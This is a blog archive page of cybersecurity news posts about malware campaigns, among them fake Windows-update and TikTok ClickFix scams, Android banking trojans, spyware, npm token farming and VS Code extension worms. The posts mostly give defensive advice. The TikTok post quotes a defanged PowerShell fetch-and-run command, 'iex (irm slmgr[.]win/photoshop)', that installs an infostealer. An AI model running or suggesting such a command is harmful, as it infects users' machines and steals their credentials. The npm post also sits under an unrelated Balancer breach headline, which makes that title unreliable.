Search This Blog
Powered by Blogger.

Blog Archive

Labels

Footer About

Footer About

Labels

Load More
Trendy Right Now

Popular Posts

Showing posts with label malware. Show all posts
Windows update scam
browser fullscreen scam ClickFix Cybersecurity Warning fake Windows update attack malware Windows update scam

Hackers Use Fake Windows Update Screen to Trick Users Into Running Malware Commands

 

A new cyberattack is circulating online, disguising itself as a legitimate Windows update in an effort to deceive users into executing harmful commands that can lead to malware installation.

Daniel B., a cybersecurity researcher with the UK’s National Health Service, discovered the scheme while examining malicious activity online. According to his findings, the operation has been active for about a month on the domain groupewadesecurity[.]com. When users visit the site, their computer—or even their smartphone—may suddenly display what looks like a genuine Windows update blue screen. This screen urges them to complete several keyboard steps.

In reality, the update screen is entirely fraudulent. It’s delivered through the browser and relies on the Fullscreen API to cover the entire display, creating the illusion of a system-level update. The interface then instructs users to press the Windows key along with the R key, which opens the Run dialog box on Windows systems. Meanwhile, the website silently places malicious commands onto the user’s clipboard.

The next prompt tells the user to hit “CTRL + V” to paste—and then press Enter. Anyone who follows these steps unknowingly triggers a command instructing Windows to execute code hosted on the attacker-controlled domain.

This attack is a fresh spin on the ongoing “ClickFix” technique, which has been used for roughly a year to manipulate users into running commands that install malware. Previous ClickFix campaigns have appeared as fake CAPTCHA pages, counterfeit Chrome error messages, and bogus government portals. The method continues to evolve in pursuit of new ways to lure victims. As Daniel B. noted, “The more recent ClickFix campaigns like these fake Windows update pages are a powerful reminder that user vigilance and cybersecurity awareness training are just as critical as technical defenses.”

Thankfully, the attack is relatively simple to detect and avoid. No legitimate website or service will ever ask users to perform such system-level commands. Since the fake screen is just a browser tab in full-screen mode, closing the tab or window immediately stops the attack. Chrome also helps by prompting users to press “ESC” whenever the browser enters full-screen mode unexpectedly.

Despite this, cybersecurity firms say ClickFix-related campaigns are rising sharply. Because the user is the one unknowingly triggering the malicious code, traditional antivirus tools often fail to catch the threat. As ESET warned in June, "The list of threats that ClickFix attacks lead to is growing by the day, including infostealers, ransomware, remote access trojans, cryptominers, post-exploitation tools, and even custom malware from nation-state-aligned threat actors."
Read more »
Pi-hole setup
ad blocking DNS AdGuard Home block ads on wifi malware malware protection network wide ad blocker Pi-hole setup

How to Block Ads Across Your Entire Home Network and Reduce Online Threats

 

In today’s hyper-connected world, ads have become nearly impossible to escape. From phones and laptops to smart TVs, every screen you own is constantly serving you promotional content. And while most ads are simply irritating, some can be genuinely harmful. A single malicious advertisement can expose your device to malware or ransomware — a nightmare for anyone who has experienced it firsthand.

Browser extensions like uBlock Origin can help, but they only work on specific devices and compatible browsers. Your TV, your secondary phone, or a browser without extension support won’t benefit from them. So the real question becomes: how do you block ads everywhere, all at once?

The answer is to block ads across your entire home network, so every device connected to your Wi-Fi automatically gains protection. Below are two effective ways to make that happen.

1. Switch to Ad-Blocking DNS on Your Router

For most people, this is the easiest and fastest solution. Home routers typically assign IP addresses and DNS settings through DHCP. By default, these DNS servers often come from your ISP — and they usually offer no security or privacy enhancements.

By changing the DNS settings in your router, you can route all traffic through ad-blocking DNS servers instead. Popular options include:

  • AdGuard DNS: Blocks ads, trackers and malicious domains. Family-safe filters (including adult-content restrictions) are also available.

  • NextDNS: Highly customizable, allowing advanced filtering and custom blocklists.

  • ControlD: Offers personalized DNS profiles with built-in ad blocking.

DNS addresses you can use:
NextDNS: 45.90.28.152 and 45.90.30.152
AdGuard DNS: 94.140.14.14 and 94.140.15.15
ControlD: 76.76.2.2 and 76.76.10.2

To apply this, log into your router (usually at 192.168.1.1 or 192.168.1.254), find the DNS section, and replace your existing DNS entries with the ones above. Ensure all devices are set to use DHCP, so they automatically pick up the new ad-blocking DNS settings.

If you prefer configuring individual devices instead of your entire network, you can manually set these DNS servers on your phone, laptop, or tablet.

2. Install a Dedicated Network-Wide Ad Blocker

If you want stronger filtering and more control, consider running a dedicated ad-blocking system using a spare computer or a Raspberry Pi. The two most trusted tools for this are Pi-hole and AdGuard Home.

Here’s a quick overview of installing AdGuard Home:

You can install it manually or in a container, but the manual method is beginner-friendly:

  1. Download the latest AdGuard Home release for your operating system from the official GitHub page.

  2. Extract the ZIP file.

  3. Windows users: Open a terminal as administrator, navigate to the folder using cd, and run:
    AdGuardHome.exe -s install

  4. Linux/macOS users: Navigate to the extracted directory and run:
    sudo ./AdGuardHome -s install

Once installed, open a browser on your home network and go to:
(Replace SERVER with the IP address of the device running the software.) Follow the on-screen setup to finish configuration.

If you want instant results with minimal effort, start by switching your router to ad-blocking DNS. If you need deeper protection and detailed customization, a dedicated blocker like Pi-hole or AdGuard Home delivers far more power.

Either way, these methods can dramatically reduce ads across your home network — and make every device you own safer and cleaner to use.

Read more »
pins
Android ATM Banks debit cards Financial Breach malware NFC pins

New Android Malware Steals Debit Card Data And PINs To Enable ATM Withdrawals

 




Security researchers have identified an Android malware operation that can collect debit card details and PINs directly from a victim’s mobile device and use that information to withdraw cash from an ATM. What makes this attack particularly dangerous is that criminals never need to handle the victim’s physical bank card at any point. Instead, the entire theft is carried out through the victim’s compromised phone, wireless communication features, and a coordinated cashout attempt at an ATM.

The threat relies on a combination of social engineering and near field communication, a short-range wireless feature widely used for contactless payments on smartphones and payment cards. Once the malware is in place, it quietly monitors NFC activity on the compromised phone, captures the temporary transaction data, and sends this information to an accomplice positioned near an ATM. Because these NFC codes change quickly and are valid only for a short period, the cash withdrawal must be carried out almost immediately for the fraud to succeed.

The attackers cannot begin the operation until they convince the target to install the malicious application. To achieve this, they commonly send deceptive text messages or emails that pretend to come from a bank. These messages warn the user about false account issues or security concerns and direct them to install an app from a link. Victims are sometimes contacted through follow-up calls to reinforce the urgency and to make the request appear more legitimate. The app itself does not come from an official store and often asks for permissions it does not need, including access to financial inputs. Once a user enters their card information and PIN, the malware is ready to operate in the background.

When the victim completes a contactless transaction on their phone, the malware intercepts the NFC exchange and sends the captured data to the waiting accomplice. That person uses a phone or smartwatch to simulate the victim’s payment credential at a nearby ATM and withdraws money before the dynamic code becomes invalid. Because all steps are interconnected and time sensitive, the criminals typically coordinate their roles in advance.

This technique stands out because it exploits features designed for convenience. It does not rely on physical skimming devices or stolen cards. Instead, it abuses trusted communication processes inside the victim’s own device. The combination of fake alerts, misleading calls, unauthorized apps, and wireless data relays makes the attack appear legitimate to those who are not familiar with these tactics.


Practical steps readers should take :

• Only install banking or payment apps from official app stores or verified developer pages.

• Treat unsolicited messages or calls claiming to be from your bank as suspicious; verify alerts using the phone number printed on your card or official statements.

• Never share card numbers or PINs in response to unsolicited contacts.

• Review installed apps and revoke permissions for unknown or unnecessary apps, particularly those that request accessibility or payment access.

• Use reputable mobile security software and keep the device and apps updated; some security products can detect malicious installers and block phishing links. 

• Any suspicious alerts should be verified by contacting the bank using official phone numbers printed on cards or statements.


As cybercriminals continue to grow more layered and coordinated attacks, staying informed about these methods is essential. Understanding how such schemes operate can help individuals protect themselves and warn others before they become victims.

Read more »
Token Farming Attack
Automated Attacks Cyber Security Dependency Threats malware NPM malware Open Source Risks Registry Abuse Research Software Integrity supply chain security Token Farming Attack

$116 Million at Risk as Balancer Suffers Major Smart Contract Breach

 

Security experts are becoming increasingly concerned about a developing anomaly in the JavaScript ecosystem after researchers discovered a massive cluster of self-replicating npm packages that seem to have no technical function but instead indicate a well-thought-out and financially motivated scheme. Over 43,000 of these packages—roughly 1% of the whole npm repository—were covertly uploaded over a two-year period using at least 11 synchronized accounts, according to recent research by Endor Labs. 

The libraries automatically reproduce themselves when downloaded and executed, filling the ecosystem with nearly identical code, even though they do not behave like traditional malware—showing no indicators of data theft, backdoor deployment, or system compromise. Investigators caution that even while these packages are harmless at the moment, their size and consistent behavior could serve as a channel for harmful updates in the future. 

With many packages containing tea.yaml files connected to TEA cryptocurrency accounts, early indications also point to a potential monetization plan, indicating the operation may be built to farm tokens at scale. The scope and complexity of the program were exposed by more research in the weeks that followed. 

In late October, clusters of unusual npm uploads were first observed by Amazon's security experts using improved detection algorithms and AI-assisted monitoring. By November 7, hundreds of suspicious packages had been found, and by November 12, over 150,000 malicious entries had been linked to a network of coordinated developer accounts. 

What had started out as a few dubious packages swiftly grew into a huge discovery. They were all connected to the tea.xyz token-farming initiative, a decentralized protocol that uses TEA tokens for staking, incentives, and governance to reward open-source contributions. Instead of using ransomware or credential stealers, the attackers flooded the registry with self-replicating packages that were made to automatically create and publish new versions.

As unwary developers downloaded or interacted with the contaminated libraries, the perpetrators silently accumulated token rewards. Each package was connected to blockchain wallets under the attackers' control by embedded tea.yaml files, which made it possible for them to embezzle profits from lawful community activities without drawing attention to themselves. The event, according to security experts, highlights a broader structural flaw in contemporary software development, where the speed and transparency of open-source ecosystems may be readily exploited at scale. 

Amazon's results show how AI-driven automation has made it easy for attackers to send large quantities of garbage or dangerous goods in a short amount of time, according to Manoj Nair, chief innovation officer at Snyk. He emphasized that developers should use behavior-based scanning and automated dependency-health controls to identify low-download libraries, template-reused content, and abrupt spikes in mass publishing before such components enter their build pipelines, as manual review is no longer sufficient. 

In order to stop similar operations before they start, he continued, registry operators must also change by proactively spotting bulk uploads, duplicate code templates, and oddities in metadata. Suzu CEO Michael Bell shared these worries, claiming that the discovery of 150,000 self-replicating, token-farming npm packages shows why attackers frequently have significantly more leverage when they compromise the development supply chain than when they directly target production systems. 

Bell cautioned that companies need to treat build pipelines and dependency chains with the same rigor as production infrastructure because shift-left security is becoming the standard. This includes implementing automated scans, keeping accurate software bills of materials, enforcing lockfiles to pin trusted versions, and verifying package authenticity before installation. He pointed out that once malicious code enters production, defenders are already reacting to a breach rather than stopping an assault. 

The researchers discovered that by incorporating executable scripts and circular dependency chains into package.json files, the campaign took advantage of npm's installation procedures. In actuality, installing one malicious package set off a planned cascade that increased replication and tea.xyz teaRank scores by automatically installing several more.

The operation created significant risks by flooding the registry with unnecessary entries, taxing storage and bandwidth resources, and increasing the possibility of dependency confusion, even if the packages did not include ransomware or credential-stealing payloads. Many of the packages shared cloned code, had tea.yaml files connecting them to attacker-controlled blockchain wallets, and used standard naming conventions. Amazon recommended that companies assess their current npm dependencies, eliminate subpar or non-functional components, and bolster their supply-chain defenses with separated CI/CD environments and SBOM enforcement. 

The event contributes to an increasing number of software supply-chain risks that have led to the release of new guidelines by government organizations, such as CISA, with the goal of enhancing resilience throughout development pipelines. The campaign serves as a sobering reminder that supply-chain integrity can no longer be ignored as the inquiry comes to an end. The scope of this issue demonstrates how readily automation may corrupt open-source ecosystems and take advantage of community trust for commercial gain if left uncontrolled. 

Stronger verification procedures throughout development pipelines, ongoing dependency auditing, and stricter registry administration are all necessary, according to experts. In addition to reducing such risks, investing in clear information, resilient tooling, and cross-industry cooperation will support the long-term viability of the software ecosystems that contemporary businesses rely on.
Read more »
Spyware
Android Security Data Theft malware Payment Faud Spyware

Android Malware Hits 42 Million Downloads, Risking Mobile Payments

 

Android malware is surging globally, with attackers increasingly targeting mobile payments and IoT devices, exposing critical vulnerabilities in systems heavily relied upon for communication, work, and financial activity. 

Recent findings from Zscaler indicate that 239 malicious Android apps were discovered on Google Play, amassing a staggering 42 million downloads, mainly by users seeking productivity and workflow solutions trusted in hybrid work settings. This reflects a pronounced shift away from traditional card-based fraud toward abuse of mobile payment channels using various social engineering tactics—such as phishing, smishing, and SIM-swapping.

Mobile compromise incidents are escalating rapidly, highlighted by a 67% year-over-year spike in Android malware transactions. Spyware, banking trojans, and adware are the dominant threats, with adware constituting 69% of all malware detections, indicating evolving monetization strategies among cybercriminals while the notorious 'Joker' family has sharply declined to only 23% of activity. The report outlines a trend of attackers focusing on high-value sectors, with the energy industry experiencing a dramatic 387% increase in attack attempts compared to the previous year.

IoT environments remain highly vulnerable, particularly in manufacturing and transportation, which saw over 40% of IoT-related malware activity. IoT attacks are primarily driven by botnet malware families such as Mirai, Mozi, and Gafgyt—collectively responsible for about 75% of observed malicious payloads within this space. Routers, in particular, are heavily targeted, making up 75% of all IoT attacks, as attackers use them for botnet building and proxy networks.

Geographically, India is the prime target for mobile malware, receiving 26% of analyzed attacks, followed by the United States (15%) and Canada (14%). In IoT, the United States is most affected, seeing 54.1% of all malicious traffic. Certain threats like the Android Void backdoor have infected at least 1.6 million Android TV boxes, mostly in India and Brazil, exposing the dangers linked to widespread use of inexpensive devices and outdated software. Malware families like Anatsa and Xnotice continue to refine tactics for financial theft and regional targeting.

To defend against these threats, experts recommend maintaining regularly updated devices, using reputable antivirus apps, enabling ransomware protection, limiting unnecessary app installations, scrutinizing permissions, running frequent malware scans, and utilizing Google Play Protect. The article stresses the need for a "zero trust everywhere" approach combined with AI-driven threat detection to counter the evolving cyber landscape.
Read more »
User Data
Landfall malware Samsung Spyware User Data

Landfall Spyware Exploited a Samsung Image Flaw to Secretly Target Users For Nearly a Year




Security specialists at Palo Alto Networks’ Unit 42 have uncovered a complex spyware tool named Landfall that silently infiltrated certain Samsung Galaxy phones for close to a year. The operation relied on a serious flaw in Samsung’s Android image-processing system, which allowed the device to be compromised without the user tapping or opening anything on their screen.

Unit 42 traces the campaign back to July 2024. The underlying bug was later assigned CVE-2025-21042, and Samsung addressed it in a security update released in April 2025. The details of how attackers used the flaw became public only recently, after researchers completed their investigation.

The team emphasizes that even users who browsed risky websites or received suspicious files during that period likely avoided infection. Evidence suggests the operation was highly selective, targeting only specific individuals or groups rather than the general public. Based on submitted samples, the activity was concentrated in parts of the Middle East, including Iraq, Iran, Turkey, and Morocco. Who controlled Landfall remains unknown.

The researchers discovered the spyware while examining earlier zero-click bugs affecting Apple iOS and WhatsApp. Those unrelated flaws showed how attackers could trigger remote code execution by exploiting image-handling weaknesses. This motivated Unit 42 to search for similar risks affecting Android devices. During this process, they found several suspicious files uploaded to VirusTotal that ultimately revealed the Landfall attack chain.

At the center of this operation were manipulated DNG image files. DNG is a raw picture format built on the TIFF standard and is normally harmless. In this case, however, the attackers altered the files so they carried compressed ZIP archives containing malicious components. The image-processing library in Samsung devices had a defect that caused the system to extract and run the embedded code automatically while preparing the image preview. This made the threat a true zero-click exploit because no user action was required for infection.

Once the malware launched, it attempted to rewrite parts of the device’s SELinux security policy. This gave the operators broad system access and made the spyware harder to detect or remove. According to Unit 42, the files appeared to have been delivered through messaging platforms like WhatsApp, disguised as regular images. Code inside the samples referenced models such as the Galaxy S22, S23, S24, Z Flip 4, and Z Fold 4. Samsung believes the vulnerability existed across devices running Android 13, 14, and 15.

After installation, Landfall could gather extensive personal information. It could transmit hardware identifiers, lists of installed apps, contacts, browsing activity, and stored files. It also had the technical ability to activate the device’s microphone or camera for surveillance. The spyware included multiple features to avoid detection, meaning that fully removing it would require deep device repairs or resets.

Unit 42 noted similarities between Landfall’s design and advanced commercial spyware used by major surveillance vendors, but they did not identify any company or group responsible. Although Samsung has already released a fix, attackers could reuse this method on devices that have not installed the April 2025 update or later. Users are urged to check their security patch level to remain protected.


Read more »
Spyware
AI Android Data Internet malware Pegasus Spyware

How Spyware Steals Your Data Without You Knowing About It


You might not be aware that your smartphone has spyware, which poses a risk to your privacy and personal security. However, what exactly is spyware? 

This type of malware, often presented as a trustworthy mobile application, has the potential to steal your data, track your whereabouts, record conversations, monitor your social media activity, take screenshots of your activities, and more. Phishing, a phony mobile application, or a once-reliable software that was upgraded over the air to become an information thief are some of the ways it could end up on your phone.

Types of malware

Legitimate apps are frequently packaged with nuisanceware. It modifies your homepage or search engine settings, interrupts your web browsing with pop-ups, and may collect your browsing information to sell to networks and advertising agencies.

Nuisanceware

Nuisanceware is typically not harmful or a threat to your fundamental security, despite being seen as malvertising. Rather, many malware packages focus on generating revenue by persuading users to view or click on advertisements.

Generic mobile spyware

Additionally, there is generic mobile spyware. These types of malware collect information from the operating system and clipboard in addition to potentially valuable items like account credentials or bitcoin wallet data. Spray-and-pray phishing attempts may employ spyware, which isn't always targeted.

Stalkerware

Compared to simple spyware, advanced spyware is sometimes also referred to as stalkerware. This spyware, which is unethical and frequently harmful, can occasionally be found on desktop computers but is becoming more frequently installed on phones.

The infamous Pegasus

Lastly, there is commercial spyware of governmental quality. One of the most popular variations is Pegasus, which is sold to governments as a weapon for law enforcement and counterterrorism. 

Pegasus was discovered on smartphones owned by lawyers, journalists, activists, and political dissidents. Commercial-grade malware is unlikely to affect you unless you belong to a group that governments with ethical dilemmas are particularly interested in. This is because commercial-grade spyware is expensive and requires careful victim selection and targeting.

How to know if spyware is on your phone?

There are signs that you may be the target of a spyware or stalkerware operator.

Receiving strange or unexpected emails or messages on social media could be a sign of a spyware infection attempt. You should remove these without downloading any files or clicking any links.

Read more »
SMiShing
Android Android Trojans Banking Google Herodotus malware SMiShing

Herodotus Trojan Mimics Human Typing to Steal Banking Credentials

 



A newly discovered Android malware, Herodotus, is alarming cybersecurity experts due to its unique ability to imitate human typing. This advanced technique allows the malware to avoid fraud detection systems and secretly steal sensitive financial information from unsuspecting users.

According to researchers from Dutch cybersecurity firm ThreatFabric, Herodotus combines elements from older malware families like Brokewell with newly written code, creating a hybrid trojan that is both deceptive and technically refined. The malware’s capabilities include logging keystrokes, recording screen activity, capturing biometric data, and hijacking user inputs in real time.


How users get infected

Herodotus spreads mainly through side-loading, a process where users install applications from outside the official Google Play Store. Attackers are believed to use SMS phishing (smishing) campaigns that send malicious links disguised as legitimate messages. Clicking on these links downloads a small installer, also known as a dropper, that delivers the actual malware to the device.

Once installed, the malware prompts victims to enable Android Accessibility Services, claiming it is required for app functionality. However, this permission gives the attacker total control,  allowing them to read content on the screen, click buttons, swipe, and interact with any open application as if they were the device owner.


The attack mechanism

After the infection, Herodotus collects a list of all installed apps and sends it to its command-and-control (C2) server. Based on this data, the operator pushes overlay pages, fake screens designed to look identical to genuine banking or cryptocurrency apps. When users open their actual financial apps, these overlays appear on top, tricking victims into entering login details, card numbers, and PINs.

The malware can also intercept one-time passwords (OTPs) sent via SMS, record keystrokes, and even stream live footage of the victim’s screen. With these capabilities, attackers can execute full-scale device takeover attacks, giving them unrestricted access to the user’s financial accounts.


The human-like typing trick

What sets Herodotus apart is its behavioral deception technique. To appear human during remote-control sessions, the malware adds random time delays between keystrokes, ranging from 0.3 to 3 seconds. This mimics natural human typing speed instead of the instant input patterns of automated tools.

Fraud detection systems that rely solely on input timing often fail to recognize these attacks because the malware’s simulated typing appears authentic. Analysts warn that as Herodotus continues to evolve, it may become even harder for traditional detection tools to identify.


Active regions and underground sale

ThreatFabric reports that the malware has already been used in Italy and Brazil, disguising itself as apps named “Banca Sicura” and “Modulo Seguranca Stone.” Researchers also found fake login pages imitating popular banking and cryptocurrency platforms in the United States, United Kingdom, Turkey, and Poland.

The malware’s developer, who goes by the alias “K1R0” on underground forums, began offering Herodotus as a Malware-as-a-Service (MaaS) product in September. This means other cybercriminals can rent or purchase it for use in their own campaigns, further increasing the likelihood of global spread.

Google confirmed that Play Protect already blocks known versions of Herodotus. Users can stay protected by avoiding unofficial downloads, ignoring links in unexpected text messages, and keeping Play Protect active. It is also crucial to avoid granting Accessibility permissions unless an app’s legitimacy is verified.

Security professionals advise enabling stronger authentication methods, such as app-based verification instead of SMS-based codes, and keeping both system and app software regularly updated.


Read more »
organisations
Atroposia DNS Hijacking Hacking malware Malware Trojan organisations

Atroposia Malware Offers Attackers Built-In Tools to Spy, Steal, and Scan Systems

 




Cybersecurity researchers have recently discovered a new malware platform known as Atroposia, which is being promoted on dark web forums as a subscription-based hacking toolkit. The platform offers cybercriminals a remote access trojan (RAT) that can secretly control computers, steal sensitive data, and even scan the infected system for security flaws, all for a monthly payment.

Researchers from Varonis, a data protection firm, explained that Atroposia is the latest example of a growing trend where ready-to-use malware services make advanced hacking tools affordable and accessible, even to attackers with little technical expertise.


How Atroposia Works

Atroposia operates as a modular program, meaning its users can turn individual features on or off depending on what they want to achieve. Once installed on a device, it connects back to the attacker’s command-and-control (C2) server using encrypted communication, making it difficult for defenders to detect its activity.

The malware can also bypass User Account Control (UAC), a security layer in Windows designed to prevent unauthorized changes, allowing it to gain full system privileges and remain active in the background.

Those who purchase access, reportedly priced at around $200 per month unlock a wide set of tools. These include the ability to open a hidden remote desktop, steal files, exfiltrate data, capture copied text, harvest credentials, and even interfere with internet settings through DNS hijacking.

One of the most distinctive parts of Atroposia is its HRDP Connect module, which secretly creates a secondary desktop session. Through this, attackers can explore a victim’s computer, read emails, open apps, or view documents without the user noticing anything unusual. Because the interaction happens invisibly, traditional monitoring systems often fail to recognize it as remote access.

The malware also provides an Explorer-style file manager, which lets attackers browse, copy, or delete files remotely. It includes a “grabber” feature that can search for specific file types or keywords, automatically compress the selected items into password-protected ZIP archives, and transmit them directly from memory leaving little trace on the device.


Theft and Manipulation Features

Atroposia’s data-theft tools are extensive. Its stealer module targets saved logins from browsers, chat records, and even cryptocurrency wallets. A clipboard monitor records everything a user copies, such as passwords, private keys, or wallet addresses, storing them in an easily accessible list for the attacker.

The RAT also uses DNS hijacking at the local machine level. This technique silently redirects web traffic to malicious sites controlled by the attacker, making it possible to trick victims into entering credentials on fake websites, download malware updates, or expose their data through man-in-the-middle attacks.


A Built-In Vulnerability Scanner

Unlike typical RATs, Atroposia comes with a local vulnerability scanner that automatically checks the system for weak spots, such as missing security patches, outdated software, or unsafe configurations. It generates a score to show which issues are easiest to exploit.

Researchers have warned that this function poses a major threat to corporate networks, since it can reveal unpatched VPN clients or privilege escalation flaws that allow attackers to deepen their access or spread across connected systems.

Security experts view Atroposia as part of a larger movement in the cybercrime ecosystem. Services like SpamGPT and MatrixPDF have already shown how subscription-based hacking tools lower the technical barrier for attackers. Atroposia extends that trend by bundling reconnaissance, exploitation, and data theft into one easy-to-use toolkit.


How Users Can Stay Protected

Analysts recommend taking preventive steps to reduce exposure to such threats.

Users should:

• Keep all software and operating systems updated.

• Download programs only from verified and official sources.

• Avoid pirated or torrent-based software.

• Be cautious of unfamiliar commands or links found online.

Companies are also urged to monitor for signs such as hidden desktop sessions, unusual DNS modifications, and data being sent directly from memory, as these can indicate the presence of sophisticated RATs like Atroposia.

Atroposia’s discovery highlights the growing ease with which advanced hacking tools are becoming available. What once required high-level expertise can now be rented online, posing a serious challenge to both individual users and large organizations trying to protect their digital environments.



Read more »
Vulnerabilities
malware News trending news Vulnerabilities

$1 Million WhatsApp Hack That Never Happened: Inside Pwn2Own’s Biggest Mystery

 

The world of ethical hacking saw an unexpected turn at the Pwn2Own Ireland 2025 competition, where an eagerly anticipated attempt to exploit WhatsApp Messenger for a record 1 million dollar prize was withdrawn at the last moment. Pwn2Own rewards researchers who responsibly discover and disclose zero day vulnerabilities, and this year’s final day promised a high stakes demonstration. 

The researcher known as Eugene, representing Team Z3, had been expected to reveal a zero click remote code execution exploit for WhatsApp. Such an exploit would have marked a major security finding and carried the largest single reward ever offered by the contest. Instead, organizers confirmed that Team Z3 pulled the entry, citing that their research was not ready for public demonstration. 

Dustin Childs, head of threat awareness at Trend Micro’s Zero Day Initiative which runs Pwn2Own events, said Team Z3 withdrew because they did not feel their work was ready. Childs added that Meta remains interested in receiving any valid findings, and that ZDI analysts will perform an initial assessment before passing material to Meta engineers for triage. 

The withdrawal sparked speculation across security forums and social media about whether a viable exploit had existed at all. Meta offered a measured response, telling press outlets that it was disappointed Team Z3 did not present a viable exploit but that it was in contact with ZDI and the researchers to understand submitted research and to triage lower risk issues received. 

The company reiterated that it welcomes valid reports through its bug bounty program and values collaboration with the security community. When approached, Eugene told Security Week that the matter would remain private between Meta, ZDI and the researcher, declining further comment. No public demonstration took place and the million dollar prize remained unclaimed. 

The episode highlights the pressures researchers face at high profile competitions, the importance of coordinated disclosure, and the fine line between proving a vulnerability and ensuring it can be safely handled. For vendors, competitions like Pwn2Own continue to be a vital source of intelligence about real world security risks, even when the most dramatic moments fail to materialize.
Read more »
Vault Viper
Baoying Group Chinese cybercrime fake privacy browser Infoblox report malware Universe Browser malware Vault Viper

Cybercriminals Behind “Universe Browser”: A Fake Privacy App Spying on Users and Linked to Chinese Crime Syndicates

 

⁴
With online privacy nearly impossible to maintain due to widespread web tracking and advertising, many users are turning to browsers that promise anonymity and data protection—such as Brave, DuckDuckGo, Mullvad, and Tor. However, cybersecurity experts have now identified one so-called “privacy browser” that is doing the exact opposite. The Universe Browser, which has been downloaded millions of times, is allegedly designed by cybercriminals to harvest user data instead of protecting it.

According to a recent Infoblox report prepared in collaboration with the United Nations Office on Drugs and Crime (UNODC), Universe Browser targets users in China and promotes itself as a secure way to bypass online censorship and access gambling websites. But beneath its seemingly protective exterior, the browser is tracking user locations, rerouting traffic through Chinese servers, installing keyloggers, and tampering with network configurations.

“These features are consistent with remote access trojans (RATs) and other malware increasingly being distributed through Chinese online gambling platforms,” says Infoblox. While the report does not directly accuse the developers of criminal activity, it notes that the browser’s operations align closely with cybercrime tactics like identity theft, blackmail, and targeted Trojan attacks.

Built on Google Chrome’s open-source framework, Universe Browser has been heavily marketed to clients of the Baoying Group—a network linked to Triad-affiliated criminal organizations referred to by researchers as “Vault Viper.” These groups are allegedly involved in illegal gambling, cyber fraud, money laundering, and even human trafficking.

Once installed, the malicious browser injects harmful code, evades antivirus scans, and monitors system data, including the clipboard. On Windows systems, it can even replace the original Chrome executable file, embedding itself deeply within the operating system. Users lose control of most browser settings, while a built-in extension can capture screenshots and upload them to remote servers.

Researchers found that encrypted user data from the browser is being transmitted to servers tied to Vault Viper. The app appears to be custom-developed for the Baoying Group, promoted exclusively on their gambling-related websites, and primarily targets users in China and Taiwan, where online betting is banned.

Universe Browser is also available on iOS App Store and as a sideloaded Android app, though it remains unclear whether these mobile versions contain the same level of malicious behavior as the Windows release. Still, experts warn that the safest move is to avoid the browser entirely.
Read more »
User Security
malware Photoshop Scam Social Engineering TikTok User Security

TikTok 'Free Photoshop' Scam Steals User Data via Malicious Commands

 

A sophisticated scam targeting TikTok users is exploiting the platform's reach to steal personal data by promising free access to expensive software like Adobe Photoshop. Cybercriminals are using a social engineering technique called ClickFix to trick victims into executing malicious commands that install information-stealing malware on their systems.

The scam operates through TikTok videos that demonstrate seemingly simple technical tricks to activate premium software, including Adobe Photoshop, Microsoft Windows, Discord Nitro, and other popular applications. These videos instruct users to run specific PowerShell commands on their Windows devices, with instructions that appear to be legitimate software activation methods. One example command involves executing iex (irm slmgr[.]win/photoshop), which fetches and runs malicious code from remote servers.

ClickFix attacks differ significantly from traditional phishing campaigns by guiding users through the process of infecting their own devices rather than simply tricking them into clicking malicious links. This social engineering approach exploits users' familiarity with solving minor technical issues, CAPTCHA checks, and human verification processes, making the scam appear more legitimate. Microsoft research indicates that since 2024, ClickFix has been used in nearly half of all recorded cyberattacks, surpassing phishing in popularity among cybercriminals.

When users execute the provided commands, they unknowingly download and install AuroStealer, a Trojan malware specifically designed to harvest sensitive information. This infostealer collects passwords, browser credentials, authentication cookies, cryptocurrency wallet data, and other application credentials from infected systems. The malware establishes persistence through scheduled tasks and uses self-compiling techniques to inject shellcode directly into memory, evading detection by security tools.

TikTok's short-form content delivery system and reputation for hosting legitimate technical how-to content makes it an ideal platform for this type of scam. The platform's viral nature enables these malicious videos to accumulate hundreds of likes and reach thousands of viewers before detection, with cybersecurity researcher Xavier Mertens identifying the ongoing campaign. The campaigns have been active since at least May 2025, with marked increases in activity observed through October 2025.

Security experts strongly advise users never to run commands on their machines from TikTok or other social media networks. Because these commands are executed locally on user systems, many security tools and browsers cannot easily detect them, making prevention through user education critical. Organizations should implement PowerShell execution restrictions, monitor scheduled tasks, and block known malicious domains to protect against these threats.
Read more »
Supply Chain Attack
GitHub GlassWorm malware OpenVSX Supply Chain Attack

GlassWorm Malware Exploits Invisible Unicode to Infect VS Code Extensions

 

A major and ongoing supply-chain attack is currently targeting developers through the OpenVSX and Microsoft Visual Studio Code (VS Code) extension marketplaces via a self-spreading malware dubbed "GlassWorm" that has triggered an estimated 35,800 installations to date. 

The campaign leverages novel techniques, such as embedding malicious code within invisible Unicode characters, enabling it to bypass detection and make the threats literally invisible in code editors. GlassWorm not only infects extensions, but also uses compromised accounts to further propagate itself, posing an accelerating risk through the dependency and update mechanisms of these platforms.

The malware focuses on stealing credentials for GitHub, npm, and OpenVSX accounts, as well as harvesting cryptocurrency wallet information from 49 different extensions. It then escalates the compromise by deploying a SOCKS proxy on infected machines, facilitating covert malicious traffic, and by installing HVNC (Hidden Virtual Network Computing) clients for undetectable remote access. 

GlassWorm leverages a hardcoded Solana blockchain wallet that participates in transactions used to distribute base64-encoded links pointing to its next-stage payload, referred to by researchers as the obfuscated "ZOMBI" module. Once installed, ZOMBI transforms the workstation into a node of a decentralized criminal infrastructure, enabling persistent and stealthy cybercriminal operations.

Unique for its resilience, GlassWorm's operators use the Solana blockchain as the primary command-and-control channel, making takedown efforts extremely challenging due to the blockchain’s decentralized, persistent, and anonymous nature. Secondary methods for controlling infected hosts include embedding payload links in Google Calendar event titles and directly contacting specific IP addresses (e.g., 217.69.3[.]218). To ensure redundancy and robust communication, the malware also incorporates BitTorrent’s Distributed Hash Table (DHT).

Researchers at Koi Security have identified at least eleven infected extensions on OpenVSX, with some still available for download as of reporting, and one on Microsoft’s VS Code Marketplace. Notably, the auto-update feature in VS Code means users can become infected without any interaction—the malicious version of extensions is silently pushed to all endpoints. Microsoft quickly removed the compromised extension following the alert, while some extension publishers have issued security updates.

These attacks follow a wider trend, echoing last month’s Shai-Hulud worm attack that affected 187 npm packages. Koi Security warns that the sophistication, propagation methods, and resilience of GlassWorm represent a significant escalation in the threat landscape, underscoring the urgent need for enhanced supply-chain security and vigilant monitoring.
Read more »
North Korea
Advanced Social Engineering Blockchain Google malware North Korea

Hackers Exploit Blockchain Networks to Hide and Deliver Malware, Google Warns

 



Google’s Threat Intelligence Group has uncovered a new wave of cyberattacks where hackers are using public blockchains to host and distribute malicious code. This alarming trend transforms one of the world’s most secure and tamper-resistant technologies into a stealthy channel for cybercrime.

